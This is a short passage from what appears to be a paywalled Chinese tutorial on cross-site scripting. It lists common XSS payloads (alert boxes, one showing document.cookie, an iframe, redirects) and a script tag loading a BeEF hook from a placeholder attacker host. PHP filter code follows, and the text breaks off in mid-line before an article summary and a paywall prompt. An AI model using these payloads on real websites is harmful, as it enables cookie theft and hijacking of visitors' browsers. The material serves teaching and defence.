一、常见的XSS攻击脚本
- 弹窗警告
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
- 页面嵌套
<iframe> src=http://www.baidu.com width=10 height=10 border=10 </iframe>
-
重定向
<script>window.location="http://www.baidu.com"</script>
-
弹窗警告并重定向
<script>alert('网站升级更新,请移步新版本');location.href="https://www.baidu.com"</script> - 访问恶意代码
<script src="http://BeEF_IP:3000/hook.js"></script>
二、简单过滤和绕过
- 区分大小写过滤标签:
过滤:
$name=preg_replace("/<script>/","",$name); //过滤<script>
$name=preg_replace("/<\/script>/","",$name); //过滤</scrip
本文详细介绍了常见的XSS攻击脚本类型,包括弹窗警告、页面嵌套、重定向和访问恶意代码。接着探讨了简单过滤方法如大小写过滤和不区分大小写的过滤,并给出相应的绕过技巧,如利用嵌套标签和事件属性。最后总结了XSS防御的总体思路,强调输入过滤和输出编码的重要性。
最低0.47元/天 解锁文章

2799

被折叠的 条评论
为什么被折叠?



